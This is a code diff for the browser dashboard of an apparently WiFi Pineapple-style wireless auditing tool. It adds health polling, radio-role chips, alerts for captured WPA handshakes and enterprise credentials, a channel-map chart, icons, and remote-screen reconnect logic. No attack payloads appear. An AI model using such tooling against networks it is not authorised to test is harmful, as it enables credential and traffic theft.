if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
|
||||
const wifi = (msg.status || {}).wifi;
|
||||
if (Array.isArray(wifi)) {
|
||||
const up = wifi.find((w) => w && w.iface === 'wlan1up');
|
||||
rfChannel = up && up.channel != null ? Number(up.channel) : null;
|
||||
renderRfChip();
|
||||
}
|
||||
}
|
||||
function pollRfplan() {
|
||||
fetch(App.apiBase + '/api/rfplan', { credentials: 'include' }).then((r) => {
|
||||
if (!r.ok) throw new Error('http ' + r.status);
|
||||
return r.json();
|
||||
}).then((d) => {
|
||||
rfState = d && typeof d.role === 'string' ? d : null;
|
||||
renderRfChip();
|
||||
}).catch(() => {
|
||||
rfState = null;
|
||||
const el = document.getElementById('rf-chip');
|
||||
if (el) {
|
||||
el.textContent = 'PHY1: ?';
|
||||
el.title = 'RF plan unavailable';
|
||||
el.className = 'health-chip warn';
|
||||
}
|
||||
});
|
||||
}
|
||||
function renderRfChip() {
|
||||
const el = document.getElementById('rf-chip');
|
||||
if (!el) return;
|
||||
if (!rfState) {
|
||||
el.textContent = '';
|
||||
el.title = '';
|
||||
el.className = 'health-chip';
|
||||
return;
|
||||
}
|
||||
let text;
|
||||
let cls = '';
|
||||
if (rfState.role === 'uplink') {
|
||||
text = 'PHY1: UPLINK' + (rfState.assoc && rfChannel ? ' ch' + rfChannel : '');
|
||||
cls = rfState.assoc ? 'good' : 'warn';
|
||||
} else if (rfState.role === 'attack') {
|
||||
text = 'PHY1: ATTACK';
|
||||
cls = 'warn';
|
||||
} else if (rfState.role === 'idle') {
|
||||
text = 'PHY1: IDLE';
|
||||
} else {
|
||||
text = 'PHY1: ' + String(rfState.role).toUpperCase();
|
||||
}
|
||||
el.textContent = text;
|
||||
el.className = 'health-chip' + (cls ? ' ' + cls : '');
|
||||
el.title = 'radio1 role: ' + rfState.role +
|
||||
' \u00b7 assoc ' + (rfState.assoc || 'none') +
|
||||
' \u00b7 hop ' + (rfState.hop_paused == null ? 'unknown' : rfState.hop_paused ? 'paused' : 'running');
|
||||
}
|
||||
function pollHealth() {
|
||||
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
|
||||
.then((h) => {
|
||||
const el = document.getElementById('health-status');
|
||||
if (!el) return;
|
||||
if (h.pineap_up === false) {
|
||||
el.textContent = 'PINEAPD DOWN';
|
||||
el.className = 'health-chip bad';
|
||||
} else if (h.env && h.env.overall === 'fail') {
|
||||
el.textContent = 'ENV CHECK FAIL';
|
||||
el.className = 'health-chip bad';
|
||||
} else if (h.pool_disabled) {
|
||||
el.textContent = 'POOL OFF';
|
||||
el.className = 'health-chip warn';
|
||||
} else if (h.pineap_up) {
|
||||
el.textContent = 'PINEAP OK';
|
||||
el.className = 'health-chip good';
|
||||
}
|
||||
const prev = lastEvents;
|
||||
if (prev.pineapUp === false && h.pineap_up) {
|
||||
toast('PineAPd recovered', 'success');
|
||||
} else if (prev.pineapUp === true && h.pineap_up === false) {
|
||||
toast('PineAPd is down — health monitor is repairing it', 'error');
|
||||
}
|
||||
lastEvents.pineapUp = !!h.pineap_up;
|
||||
const monState = [h.wlan0mon_up, h.wlan1mon_up];
|
||||
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
|
||||
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
|
||||
lastEvents.mon0 = !!monState[0];
|
||||
lastEvents.mon1 = !!monState[1];
|
||||
}).catch(() => {});
|
||||
}
|
||||
function pollEvents() {
|
||||
Promise.all([
|
||||
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
|
||||
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
|
||||
]).then(([hs, atk]) => {
|
||||
const files = (hs && hs.files) || [];
|
||||
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
|
||||
if (lastEvents.hsPrimed && fresh.length) {
|
||||
fresh.forEach((f) => {
|
||||
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
|
||||
toast('Handshake captured: ' + (bssid || f.name), 'success');
|
||||
});
|
||||
}
|
||||
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
|
||||
lastEvents.hsPrimed = true;
|
||||
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
|
||||
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
|
||||
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
|
||||
}
|
||||
if (creds !== null) lastEvents.creds = creds;
|
||||
lastEvents.credsPrimed = true;
|
||||
}).catch(() => {});
|
||||
}
|
||||
function onTick(fn) {
|
||||
subs.push(fn);
|
||||
|
||||
@@ -10,7 +10,10 @@ const MiniChart = (() => {
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
const w = canvas.clientWidth, h = 140;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, 0)), 1);
|
||||
const oMin = o.min == null ? 0 : o.min;
|
||||
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, oMin)), oMin + 1);
|
||||
const min = Math.min(oMin, ...series.map((s) => Math.min(...s.points, oMin)));
|
||||
const span = Math.max(max - min, 1);
|
||||
const pad = 8;
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
ctx.lineWidth = 1;
|
||||
@@ -28,14 +31,14 @@ const MiniChart = (() => {
|
||||
pts.forEach((v, i) => {
|
||||
if (v == null) { started = false; return; }
|
||||
const x = pad + (w - pad * 2) * i / Math.max(pts.length - 1, 1);
|
||||
const y = h - pad - (h - pad * 2) * (v / max);
|
||||
const y = h - pad - (h - pad * 2) * ((v - min) / span);
|
||||
if (!started) { ctx.moveTo(x, y); started = true; } else ctx.lineTo(x, y);
|
||||
});
|
||||
ctx.stroke();
|
||||
const last = pts[pts.length - 1];
|
||||
if (last != null) {
|
||||
const x = pad + (w - pad * 2) * (pts.length - 1) / Math.max(pts.length - 1, 1);
|
||||
const y = h - pad - (h - pad * 2) * (last / max);
|
||||
const y = h - pad - (h - pad * 2) * ((last - min) / span);
|
||||
ctx.fillStyle = s.color || '#1976d2';
|
||||
ctx.beginPath(); ctx.arc(x, y, 3, 0, Math.PI * 2); ctx.fill();
|
||||
}
|
||||
@@ -133,5 +136,132 @@ const MiniChart = (() => {
|
||||
});
|
||||
}
|
||||
|
||||
return { draw, doughnut, bar };
|
||||
function chanToMhz(band, ch) {
|
||||
const n = Number(ch);
|
||||
if (band === '2.4') return 2407 + 5 * n;
|
||||
if (band === '5') return 5000 + 5 * n;
|
||||
if (band === '6') return 5950 + 5 * n;
|
||||
return null;
|
||||
}
|
||||
|
||||
function bandRange(band) {
|
||||
if (band === '2.4') return [2400, 2500];
|
||||
if (band === '5') return [5150, 5900];
|
||||
if (band === '6') return [5925, 7125];
|
||||
return null;
|
||||
}
|
||||
|
||||
function hexA(hex, alpha) {
|
||||
const m = /^#([0-9a-f]{6})$/i.exec(hex || '');
|
||||
if (!m) return hex;
|
||||
const n = parseInt(m[1], 16);
|
||||
return 'rgba(' + ((n >> 16) & 255) + ',' + ((n >> 8) & 255) + ',' + (n & 255) + ',' + alpha + ')';
|
||||
}
|
||||
|
||||
// Channel map: each AP is a raised-cosine lobe at its reported center
|
||||
// frequency with the peak at its signal strength. The radio does not report
|
||||
// channel width, so every lobe assumes 20 MHz (half-width +-10 MHz).
|
||||
// Lobe geometry (CSS px) is recorded on the canvas so the caller can
|
||||
// hit-test pointer position against the networks under the cursor.
|
||||
function channelMap(canvas, aps, opts) {
|
||||
const o = opts || {};
|
||||
const dpr = window.devicePixelRatio || 1;
|
||||
const H = o.height || 180;
|
||||
canvas.width = canvas.clientWidth * dpr;
|
||||
canvas.height = H * dpr;
|
||||
const ctx = canvas.getContext('2d');
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
const w = canvas.clientWidth, h = H;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
canvas.__reconLobes = [];
|
||||
if (!aps || !aps.length) return;
|
||||
const pts = aps
|
||||
.map((a) => ({
|
||||
freq: a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel),
|
||||
sig: a.signal
|
||||
}))
|
||||
.filter((p) => p.freq != null && p.sig != null);
|
||||
if (!pts.length) return;
|
||||
const def = bandRange(aps[0].band);
|
||||
const lo = Math.min(def ? def[0] : Infinity, ...pts.map((p) => p.freq));
|
||||
const hi = Math.max(def ? def[1] : -Infinity, ...pts.map((p) => p.freq));
|
||||
const fMin = lo - 10, fMax = hi + 10;
|
||||
const padL = 42, padR = 10, padT = 14, padB = 24;
|
||||
const plotW = w - padL - padR, plotH = h - padT - padB;
|
||||
const YMIN = -100, YMAX = -30;
|
||||
const x = (f) => padL + (f - fMin) / (fMax - fMin) * plotW;
|
||||
const y = (dbm) => padT + (1 - (dbm - YMIN) / (YMAX - YMIN)) * plotH;
|
||||
ctx.font = '10px Roboto, "Segoe UI", Arial, sans-serif';
|
||||
ctx.textAlign = 'right';
|
||||
for (let dbm = YMIN; dbm <= YMAX; dbm += 10) {
|
||||
const yy = y(dbm);
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
ctx.lineWidth = 1;
|
||||
ctx.beginPath(); ctx.moveTo(padL, yy); ctx.lineTo(w - padR, yy); ctx.stroke();
|
||||
ctx.fillStyle = '#888';
|
||||
ctx.fillText(String(dbm), padL - 6, yy + 3);
|
||||
}
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
for (let f = Math.ceil(fMin / 20) * 20; f <= fMax; f += 20) {
|
||||
ctx.beginPath(); ctx.moveTo(x(f), padT); ctx.lineTo(x(f), h - padB); ctx.stroke();
|
||||
}
|
||||
const baseY = h - padB;
|
||||
aps.forEach((a) => {
|
||||
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
|
||||
if (freq == null || a.signal == null) return;
|
||||
const color = a.color || '#1976d2';
|
||||
const cx = x(freq);
|
||||
const topY = y(a.signal);
|
||||
const peakH = Math.max(2, baseY - topY);
|
||||
const half = Math.max(4, (10 / (fMax - fMin)) * plotW);
|
||||
canvas.__reconLobes.push({ ap: a, cx: cx, half: half, topY: topY, baseY: baseY });
|
||||
ctx.beginPath();
|
||||
for (let i = 0; i <= 28; i++) {
|
||||
const t = -1 + i / 14;
|
||||
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
|
||||
const px = cx + t * half;
|
||||
const py = baseY - lift * peakH;
|
||||
if (i === 0) ctx.moveTo(px, py);
|
||||
else ctx.lineTo(px, py);
|
||||
}
|
||||
ctx.closePath();
|
||||
ctx.fillStyle = hexA(color, 0.35);
|
||||
ctx.fill();
|
||||
ctx.strokeStyle = color;
|
||||
ctx.lineWidth = 1.5;
|
||||
ctx.stroke();
|
||||
});
|
||||
// Hit test: list networks whose lobe is under (mx, my) in CSS px.
|
||||
canvas.__reconLobesHit = function (mx, my, padPx) {
|
||||
const pad = padPx == null ? 4 : padPx;
|
||||
const hits = [];
|
||||
(this.__reconLobes || []).forEach((l) => {
|
||||
const dx = mx - l.cx;
|
||||
if (Math.abs(dx) > l.half + 2) return;
|
||||
const t = Math.min(1, Math.max(-1, dx / l.half));
|
||||
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
|
||||
const lobeTop = l.baseY - lift * (l.baseY - l.topY);
|
||||
if (my >= lobeTop - pad && my <= l.baseY + pad) hits.push(l.ap);
|
||||
});
|
||||
return hits;
|
||||
};
|
||||
let lastLabelX = -Infinity;
|
||||
ctx.textAlign = 'center';
|
||||
aps.forEach((a) => {
|
||||
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
|
||||
if (freq == null || a.channel == null) return;
|
||||
const cx = x(freq);
|
||||
if (cx - lastLabelX < 34) return;
|
||||
lastLabelX = cx;
|
||||
ctx.strokeStyle = '#999';
|
||||
ctx.beginPath(); ctx.moveTo(cx, h - padB); ctx.lineTo(cx, h - padB + 4); ctx.stroke();
|
||||
ctx.fillStyle = '#666';
|
||||
ctx.fillText('CH ' + a.channel, cx, h - 7);
|
||||
});
|
||||
ctx.textAlign = 'left';
|
||||
ctx.fillStyle = '#888';
|
||||
ctx.fillText((aps[0].band || '?') + ' GHz', padL + 4, padT + 2);
|
||||
}
|
||||
|
||||
return { draw, doughnut, bar, channelMap };
|
||||
})();
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
'use strict';
|
||||
|
||||
window.PineappleIcons = {
|
||||
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
|
||||
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
|
||||
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
|
||||
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
|
||||
@@ -9,12 +10,14 @@ window.PineappleIcons = {
|
||||
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
|
||||
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
|
||||
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
|
||||
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
|
||||
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
|
||||
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
|
||||
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
|
||||
refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
|
||||
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
|
||||
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
|
||||
delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
|
||||
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
|
||||
search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
|
||||
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
|
||||
@@ -30,5 +33,11 @@ window.PineappleIcons = {
|
||||
help: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 1,0 22,12A10,10 0 0,0 12,2M13,19H11V17H13V19M15.07,11.25L14.17,12.17C13.45,12.9 13,13.5 13,15H11V14.5C11,13.4 11.45,12.4 12.17,11.67L13.41,10.41C13.78,10.05 14,9.55 14,9A2,2 0 0,0 10,9H8A4,4 0 0,1 16,9C16,9.88 15.64,10.68 15.07,11.25Z"/></svg>',
|
||||
update: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21,10.12H14.22L16.96,7.3C14.23,4.6 9.81,4.5 7.08,7.2A6.85,6.85 0 0,0 7.08,17C9.81,19.7 14.23,19.7 16.96,17C18.32,15.65 19,14.08 19,12.1H21C21,14.08 20.18,16.4 18.36,18.2C14.85,21.7 9.15,21.7 5.64,18.2C2.14,14.72 2.14,9.05 5.64,5.57C9.15,2.08 14.85,2.08 18.36,5.57L21,2.88V10.12M12.5,8V12.25L16,14.33L15.28,15.54L11,13V8H12.5Z"/></svg>',
|
||||
logout: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M5,3H13A2,2 0 0,1 15,5V8H13V5H5V19H13V16H15V19A2,2 0 0,1 13,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3Z"/></svg>',
|
||||
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>'
|
||||
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>',
|
||||
table_chart: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,20H9V4H12V20M19,20H16V10H19V20M5,20H2V14H5V20Z"/></svg>',
|
||||
description: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,2H6C4.9,2 4,2.9 4,4V20C4,21.1 4.9,22 6,22H18C19.1,22 20,21.1 20,20V8L14,2M18,20H6V4H13V9H18V20M16,18H8V16H16V18M16,14H8V12H16V14Z"/></svg>',
|
||||
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
|
||||
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
|
||||
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
|
||||
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
|
||||
};
|
||||
|
||||
@@ -5,6 +5,7 @@ const Pager = (() => {
|
||||
const SCREEN_HEIGHT = 222;
|
||||
const FB_STRIDE = SCREEN_WIDTH * 4;
|
||||
const PAGER_WIDTH = 745;
|
||||
const MAX_QUEUED_KEYS = 24;
|
||||
|
||||
const KEY_MAP = {
|
||||
'LEFT.png': 'ArrowLeft',
|
||||
@@ -23,6 +24,10 @@ const Pager = (() => {
|
||||
let screenerr = null;
|
||||
let keyws = null;
|
||||
let screenws = null;
|
||||
let wantOpen = false;
|
||||
let retryTimer = null;
|
||||
let retryMs = 400;
|
||||
const pendingKeys = [];
|
||||
|
||||
function ensure() {
|
||||
if (table) return;
|
||||
@@ -36,10 +41,17 @@ const Pager = (() => {
|
||||
const src = img.getAttribute('src').split('/').pop();
|
||||
const key = KEY_MAP[src];
|
||||
if (!key) return;
|
||||
img.addEventListener('click', () => press(img, key));
|
||||
img.setAttribute('alt', key.replace('Arrow', ''));
|
||||
img.addEventListener('pointerdown', (event) => {
|
||||
event.preventDefault();
|
||||
press(img, key);
|
||||
});
|
||||
});
|
||||
const retry = document.getElementById('screen_retry');
|
||||
if (retry) retry.addEventListener('click', () => connect());
|
||||
if (retry) retry.addEventListener('click', () => {
|
||||
retryMs = 400;
|
||||
connect();
|
||||
});
|
||||
}
|
||||
|
||||
function press(el, key) {
|
||||
@@ -48,8 +60,26 @@ const Pager = (() => {
|
||||
sendKey(key);
|
||||
}
|
||||
|
||||
function queueKey(k) {
|
||||
pendingKeys.push(k);
|
||||
while (pendingKeys.length > MAX_QUEUED_KEYS) pendingKeys.shift();
|
||||
}
|
||||
|
||||
function flushKeys() {
|
||||
while (pendingKeys.length && keyws && keyws.readyState === WebSocket.OPEN) {
|
||||
try { keyws.send(pendingKeys.shift()); }
|
||||
catch (e) { break; }
|
||||
}
|
||||
}
|
||||
|
||||
function sendKey(k) {
|
||||
if (keyws && keyws.readyState === WebSocket.OPEN) keyws.send(k);
|
||||
if (keyws && keyws.readyState === WebSocket.OPEN) {
|
||||
try { keyws.send(k); return true; }
|
||||
catch (e) {}
|
||||
}
|
||||
queueKey(k);
|
||||
if (wantOpen) connectKeys();
|
||||
return false;
|
||||
}
|
||||
|
||||
function renderRGBAFrame(bytes) {
|
||||
@@ -76,33 +106,81 @@ const Pager = (() => {
|
||||
pager.src = canvas.toDataURL('image/png');
|
||||
}
|
||||
|
||||
function connect() {
|
||||
disconnect();
|
||||
function showError(show) {
|
||||
if (screenerr) screenerr.hidden = !show;
|
||||
}
|
||||
|
||||
function scheduleReconnect() {
|
||||
if (!wantOpen) return;
|
||||
clearTimeout(retryTimer);
|
||||
retryTimer = setTimeout(() => {
|
||||
if (!wantOpen) return;
|
||||
connectScreen();
|
||||
connectKeys();
|
||||
}, retryMs);
|
||||
retryMs = Math.min(5000, Math.max(400, retryMs * 2));
|
||||
}
|
||||
|
||||
function connectScreen() {
|
||||
if (!wantOpen) return;
|
||||
if (screenws && (screenws.readyState === WebSocket.OPEN || screenws.readyState === WebSocket.CONNECTING)) return;
|
||||
try {
|
||||
const sock = new WebSocket(App.pagerScreenWs);
|
||||
sock.binaryType = 'arraybuffer';
|
||||
screenws = sock;
|
||||
sock.onopen = () => { screenerr.hidden = true; };
|
||||
sock.onopen = () => {
|
||||
retryMs = 400;
|
||||
if (keyws && keyws.readyState === WebSocket.OPEN) showError(false);
|
||||
};
|
||||
sock.onmessage = (ev) => {
|
||||
showError(false);
|
||||
if (ev.data instanceof ArrayBuffer) renderRGBAFrame(new Uint8Array(ev.data));
|
||||
else if (ev.data && ev.data.arrayBuffer) ev.data.arrayBuffer().then((b) => renderRGBAFrame(new Uint8Array(b)));
|
||||
};
|
||||
sock.onerror = () => { screenerr.hidden = false; };
|
||||
sock.onclose = () => { if (screenws === sock) screenws = null; screenerr.hidden = false; };
|
||||
sock.onerror = () => { showError(true); };
|
||||
sock.onclose = () => {
|
||||
if (screenws === sock) screenws = null;
|
||||
showError(true);
|
||||
scheduleReconnect();
|
||||
};
|
||||
} catch (e) {
|
||||
screenerr.hidden = false;
|
||||
}
|
||||
try {
|
||||
const sock = new WebSocket(App.pagerKeysWs);
|
||||
keyws = sock;
|
||||
sock.onclose = () => { if (keyws === sock) keyws = null; };
|
||||
sock.onerror = () => { try { sock.close(); } catch (e2) {} };
|
||||
} catch (e) {
|
